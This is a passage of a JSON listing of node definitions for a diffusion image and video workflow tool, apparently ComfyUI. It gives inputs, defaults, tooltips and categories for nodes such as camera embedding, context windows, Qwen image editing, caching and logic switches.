"height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}]}, "optional": {"speed": ["FLOAT", {"default": 1.0, "min": 0, "max": 10.0, "step": 0.1}], "fx": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 1e-09}], "fy": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 1e-09}], "cx": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 0.01}], "cy": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 0.01}]}}, "input_order": {"required": ["camera_pose", "width", "height", "length"], "optional": ["speed", "fx", "fy", "cx", "cy"]}, "is_input_list": false, "output": ["WAN_CAMERA_EMBEDDING", "INT", "INT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["camera_embedding", "width", "height", "length"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanCameraEmbedding", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_camera_trajectory", "category": "model/conditioning/wan/camera", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReferenceLatent": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["conditioning"], "optional": ["latent"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReferenceLatent", "display_name": "Set Reference Latent", "description": "This node sets the guiding latent for an edit model. If the model supports it you can chain multiple to set multiple reference images.", "python_module": "comfy_extras.nodes_edit_model", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TCFG": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "TCFG", "display_name": "Tangential Damping CFG", "description": "TCFG \u2013 Tangential Damping CFG (2503.18137)\n\nRefine the uncond (negative) to align with the cond (positive) for improving quality.", "python_module": "comfy_extras.nodes_tcfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ContextWindowsManual": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window.", "default": 16, "min": 1}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window.", "default": 4, "min": 0}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_static", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "dim": ["INT", {"tooltip": "The dimension to apply the context windows to.", "default": 0, "min": 0, "max": 5}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "default": false}], "cond_retain_index_list": ["STRING", {"tooltip": "List of latent indices to retain in the conditioning tensors for each window. For concat-style I2V models (e.g. Wan I2V, HunyuanVideo I2V, Cosmos I2V, SVD) the encoded start image lives in the c_concat conditioning channels; setting this to '0' will retain that start image content at sub-pos 0 of every window.", "default": "", "multiline": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "default": false}], "latent_retain_index_list": ["STRING", {"tooltip": "List of latent indices to retain in the noise latent itself for each window. Use for workflows where reference content (e.g. a start image) lives directly in the noise latent rather than in separate conditioning channels (e.g. inplace-style I2V like LTXV, AnimateDiff). Independent of cond_retain_index_list.", "default": "", "multiline": false}], "causal_window_fix": ["BOOLEAN", {"tooltip": "Whether to add a causal fix frame to non-0-indexed context windows.", "default": true}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "dim", "freenoise", "cond_retain_index_list", "split_conds_to_windows", "latent_retain_index_list", "causal_window_fix"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "ContextWindowsManual", "display_name": "Context Windows (Manual)", "description": "Manually set context windows.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanContextWindowsManual": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window in real frames. Must be 4*n + 1.", "default": 81, "min": 1, "max": 16384, "step": 4}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window in real frames.", "default": 30, "min": 0}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_uniform", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "advanced": true, "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "advanced": true, "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "advanced": true, "default": true}], "retain_first_frame": ["BOOLEAN", {"tooltip": "Retain the first I2V frame in every context window (may help retain initial reference).", "default": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "freenoise", "retain_first_frame", "split_conds_to_windows"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "WanContextWindowsManual", "display_name": "Wan Context Windows", "description": "Set context windows for Wan-like models.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch/wan", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVContextWindows": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window in real frames. Must be 8*n + 1.", "default": 145, "min": 1, "max": 16384, "step": 8}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window in real frames.", "default": 40, "min": 0, "step": 8}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_uniform", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "advanced": true, "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "advanced": true, "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "advanced": true, "default": true}], "retain_first_frame": ["BOOLEAN", {"tooltip": "Retain the first latent frame in every context window (may help retain initial reference).", "default": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "freenoise", "retain_first_frame", "split_conds_to_windows"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "LTXVContextWindows", "display_name": "LTXV Context Windows", "description": "Set context windows for LTXV-like models.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeQwenImageEdit": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}]}, "optional": {"vae": ["VAE", {}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt"], "optional": ["vae", "image"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeQwenImageEdit", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/conditioning/qwen image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeQwenImageEditPlus": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}]}, "optional": {"vae": ["VAE", {}], "image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "image3": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt"], "optional": ["vae", "image1", "image2", "image3"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeQwenImageEditPlus", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/conditioning/qwen image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyQwenImageLayeredLatentImage": {"input": {"required": {"width": ["INT", {"default": 640, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 640, "min": 16, "max": 16384, "step": 16}], "layers": ["INT", {"default": 3, "min": 0, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "layers", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyQwenImageLayeredLatentImage", "display_name": "Empty Qwen Image Layered Latent", "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/latent/qwen", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeBooguEdit": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "negative_prompt": ["STRING", {"advanced": true, "multiline": true, "dynamicPrompts": true}], "vae": ["VAE", {}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Boogu focuses on one reference per sample; more are allowed.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}}, "input_order": {"required": ["clip", "prompt", "negative_prompt", "vae", "images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "TextEncodeBooguEdit", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_boogu", "category": "model/conditioning/boogu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyChromaRadianceLatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyChromaRadianceLatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_chroma_radiance", "category": "model/latent/chroma radiance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ChromaRadianceOptions": {"input": {"required": {"model": ["MODEL", {}], "preserve_wrapper": ["BOOLEAN", {"tooltip": "When enabled, will delegate to an existing model function wrapper if it exists. Generally should be left enabled.", "default": true}], "start_sigma": ["FLOAT", {"tooltip": "First sigma that these options will be in effect.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0}], "end_sigma": ["FLOAT", {"tooltip": "Last sigma that these options will be in effect.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0}], "nerf_tile_size": ["INT", {"tooltip": "Allows overriding the default NeRF tile size. -1 means use the default (32). 0 means use non-tiling mode (may require a lot of VRAM).", "advanced": true, "default": -1, "min": -1}], "force_sequential_txt_ids": ["BOOLEAN", {"tooltip": "Force usage of sequential text token IDs instead of zeroes. Should be used for checkpoints from 2026-05-22 to 2026-06-01 that are trained in this way but do not contain the __sequential__ key in the state dict.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "preserve_wrapper", "start_sigma", "end_sigma", "nerf_tile_size", "force_sequential_txt_ids"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ChromaRadianceOptions", "display_name": null, "description": "Allows setting advanced options for the Chroma Radiance model.", "python_module": "comfy_extras.nodes_chroma_radiance", "category": "model/patch/chroma radiance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PiDConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "latent": ["LATENT", {"tooltip": "latent (from VAEEncode or a KSampler)."}], "latent_format": ["COMBO", {"tooltip": "Flux1 (16-ch) and Flux2 (128-ch) latents are auto-detected from channel dim under 'flux'. For SD3 (16-ch), SDXL (4-ch), or QwenImage (16-ch), select manually.", "default": "flux", "multiselect": false, "options": ["flux", "sd3", "sdxl", "qwenimage"]}], "degrade_sigma": ["FLOAT", {"tooltip": "0 = clean latent. Increase to denoise corrupted latent outputs.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "latent", "latent_format", "degrade_sigma"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PiDConditioning", "display_name": "PiD Conditioning", "description": "Attaches a latent and a degrade_sigma scalar to a CONDITIONING for PiD decoding/upscaling", "python_module": "comfy_extras.nodes_pid", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelPatchLoader": {"input": {"required": {"name": [[]]}}, "input_order": {"required": ["name"]}, "is_input_list": false, "output": ["MODEL_PATCH"], "output_is_list": [false], "output_name": ["MODEL_PATCH"], "name": "ModelPatchLoader", "display_name": "Load Model Patch", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "QwenImageDiffsynthControlnet": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "vae": ["VAE"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"mask": ["MASK"]}}, "input_order": {"required": ["model", "model_patch", "vae", "image", "strength"], "optional": ["mask"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "QwenImageDiffsynthControlnet", "display_name": "Apply Qwen Image DiffSynth ControlNet", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/qwen", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ZImageFunControlnet": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "vae": ["VAE"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"image": ["IMAGE"], "inpaint_image": ["IMAGE"], "mask": ["MASK"]}}, "input_order": {"required": ["model", "model_patch", "vae", "strength"], "optional": ["image", "inpaint_image", "mask"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ZImageFunControlnet", "display_name": "Apply Z-Image Fun ControlNet", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/z-image", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "USOStyleReference": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "clip_vision_output": ["CLIP_VISION_OUTPUT"]}}, "input_order": {"required": ["model", "model_patch", "clip_vision_output"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "USOStyleReference", "display_name": "Apply USO Style Reference", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/flux", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SUPIRApply": {"input": {"required": {"model": ["MODEL", {}], "model_patch": ["MODEL_PATCH", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "strength_start": ["FLOAT", {"tooltip": "Control strength at the start of sampling (high sigma).", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "strength_end": ["FLOAT", {"tooltip": "Control strength at the end of sampling (low sigma). Linearly interpolated from start.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "restore_cfg": ["FLOAT", {"tooltip": "Pulls denoised output toward the input latent. Higher = stronger fidelity to input. 0 to disable.", "advanced": true, "default": 4.0, "min": 0.0, "max": 20.0, "step": 0.1}], "restore_cfg_s_tmin": ["FLOAT", {"tooltip": "Sigma threshold below which restore_cfg is disabled.", "advanced": true, "default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "model_patch", "vae", "image", "strength_start", "strength_end", "restore_cfg", "restore_cfg_s_tmin"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SUPIRApply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/supir", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EasyCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to add EasyCache to."}], "reuse_threshold": ["FLOAT", {"tooltip": "The threshold for reusing cached steps.", "advanced": true, "default": 0.2, "min": 0.0, "max": 3.0, "step": 0.01}], "start_percent": ["FLOAT", {"tooltip": "The relative sampling step to begin use of EasyCache.", "advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "The relative sampling step to end use of EasyCache.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "verbose": ["BOOLEAN", {"tooltip": "Whether to log verbose information.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "reuse_threshold", "start_percent", "end_percent", "verbose"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with EasyCache."], "output_matchtypes": null, "name": "EasyCache", "display_name": "EasyCache", "description": "Native EasyCache implementation.", "python_module": "comfy_extras.nodes_easycache", "category": "advanced/debug", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LazyCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to add LazyCache to."}], "reuse_threshold": ["FLOAT", {"tooltip": "The threshold for reusing cached steps.", "advanced": true, "default": 0.2, "min": 0.0, "max": 3.0, "step": 0.01}], "start_percent": ["FLOAT", {"tooltip": "The relative sampling step to begin use of LazyCache.", "advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "The relative sampling step to end use of LazyCache.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "verbose": ["BOOLEAN", {"tooltip": "Whether to log verbose information.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "reuse_threshold", "start_percent", "end_percent", "verbose"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with LazyCache."], "output_matchtypes": null, "name": "LazyCache", "display_name": "LazyCache", "description": "A homebrew version of EasyCache - even 'easier' version of EasyCache to implement. Overall works worse than EasyCache, but better in some rare cases AND universal compatibility with everything in ComfyUI.", "python_module": "comfy_extras.nodes_easycache", "category": "advanced/debug", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioEncoderLoader": {"input": {"required": {"audio_encoder_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["audio_encoder_name"]}, "is_input_list": false, "output": ["AUDIO_ENCODER"], "output_is_list": [false], "output_name": ["AUDIO_ENCODER"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEncoderLoader", "display_name": "Load Audio Encoder", "description": "", "python_module": "comfy_extras.nodes_audio_encoder", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioEncoderEncode": {"input": {"required": {"audio_encoder": ["AUDIO_ENCODER", {}], "audio": ["AUDIO", {}]}}, "input_order": {"required": ["audio_encoder", "audio"]}, "is_input_list": false, "output": ["AUDIO_ENCODER_OUTPUT"], "output_is_list": [false], "output_name": ["AUDIO_ENCODER_OUTPUT"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEncoderEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_audio_encoder", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ScaleROPE": {"input": {"required": {"model": ["MODEL", {}], "scale_x": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_x": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}], "scale_y": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_y": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}], "scale_t": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_t": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}]}}, "input_order": {"required": ["model", "scale_x", "shift_x", "scale_y", "shift_y", "scale_t", "shift_t"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ScaleROPE", "display_name": null, "description": "Scale and shift the ROPE of the model.", "python_module": "comfy_extras.nodes_rope", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ComfySwitchNode": {"input": {"required": {"switch": ["BOOLEAN", {}], "on_false": ["COMFY_MATCHTYPE_V3", {"lazy": true, "template": {"template_id": "switch", "allowed_types": "*"}}], "on_true": ["COMFY_MATCHTYPE_V3", {"lazy": true, "template": {"template_id": "switch", "allowed_types": "*"}}]}}, "input_order": {"required": ["switch", "on_false", "on_true"]}, "is_input_list": false, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [false], "output_name": ["output"], "output_tooltips": [null], "output_matchtypes": ["switch"], "name": "ComfySwitchNode", "display_name": "If/Else Switch", "description": "", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["if", "then", "switch", "conditional", "branch"], "essentials_category": null, "has_intermediate_output": false}, "CustomCombo": {"input": {"required": {"choice": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["choice"]}, "is_input_list": false, "output": ["STRING", "INT"], "output_is_list": [false, false], "output_name": ["STRING", "INDEX"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "CustomCombo", "display_name": "Custom Combo", "description": "", "python_module": "comfy_extras.nodes_logic", "category": "utilities", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ComfyNotNode": {"input": {"required": {"value": ["*", {}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyNotNode", "display_name": "Not", "description": "Logical NOT operation. Returns true if the value is falsy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["invert", "toggle", "negate", "flip boolean"], "essentials_category": null, "has_intermediate_output": false}, "ComfyAndNode": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "prefix": "value", "min": 1, "max": 10}}]}}, "input_order": {"required": ["values"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyAndNode", "display_name": "And", "description": "Logical AND operation. Returns true if all of the values are truthy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["all", "every"], "essentials_category": null, "has_intermediate_output": false}, "ComfyOrNode": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "prefix": "value", "min": 1, "max": 10}}]}}, "input_order": {"required": ["values"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyOrNode", "display_name": "Or", "description": "Logical OR operation. Returns true if any of the values are truthy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["any", "some"], "essentials_category": null, "has_intermediate_output": false}, "ResolutionSelector": {"input": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for the output dimensions.", "default": "1:1 (Square)", "multiselect": false, "options": ["1:1 (Square)", "2:3 (Portrait Photo)", "3:2 (Photo)", "3:4 (Portrait Standard)", "4:3 (Standard)", "9:16 (Portrait Widescreen)", "16:9 (Widescreen)", "21:9 (Ultrawide)"]}], "megapixels": ["FLOAT", {"tooltip": "Target total megapixels. 1.0 MP \u2248 1024x1024 for square.", "default": 1.0, "min": 0.1, "max": 16.0, "step": 0.1}], "multiple": ["INT", {"tooltip": "Nearest multiple of the result to set the selected resolution to.", "advanced": true, "default": 8, "min": 8, "max": 128, "step": 4}]}}, "input_order": {"required": ["aspect_ratio", "megapixels", "multiple"]}, "is_input_list": false, "output": ["INT", "INT"], "output_is_list": [false, false], "output_name": ["width", "height"], "output_tooltips": ["Calculated width in pixels multiplied by the selected multiple.", "Calculated height in pixels multiplied by the selected multiple."], "output_matchtypes": null, "name": "ResolutionSelector", "display_name": "Resolution Selector", "description": "Calculate width and height from aspect ratio and megapixel target. Useful for setting up Empty Latent Image dimensions.", "python_module": "comfy_extras.nodes_resolution", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "wanBlockSwap": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "wanBlockSwap", "display_name": null, "description": "Intercept wanBlockSwap custom node that causes major instability and make it no-op.", "python_module": "comfy_extras.nodes_nop", "category": "", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, 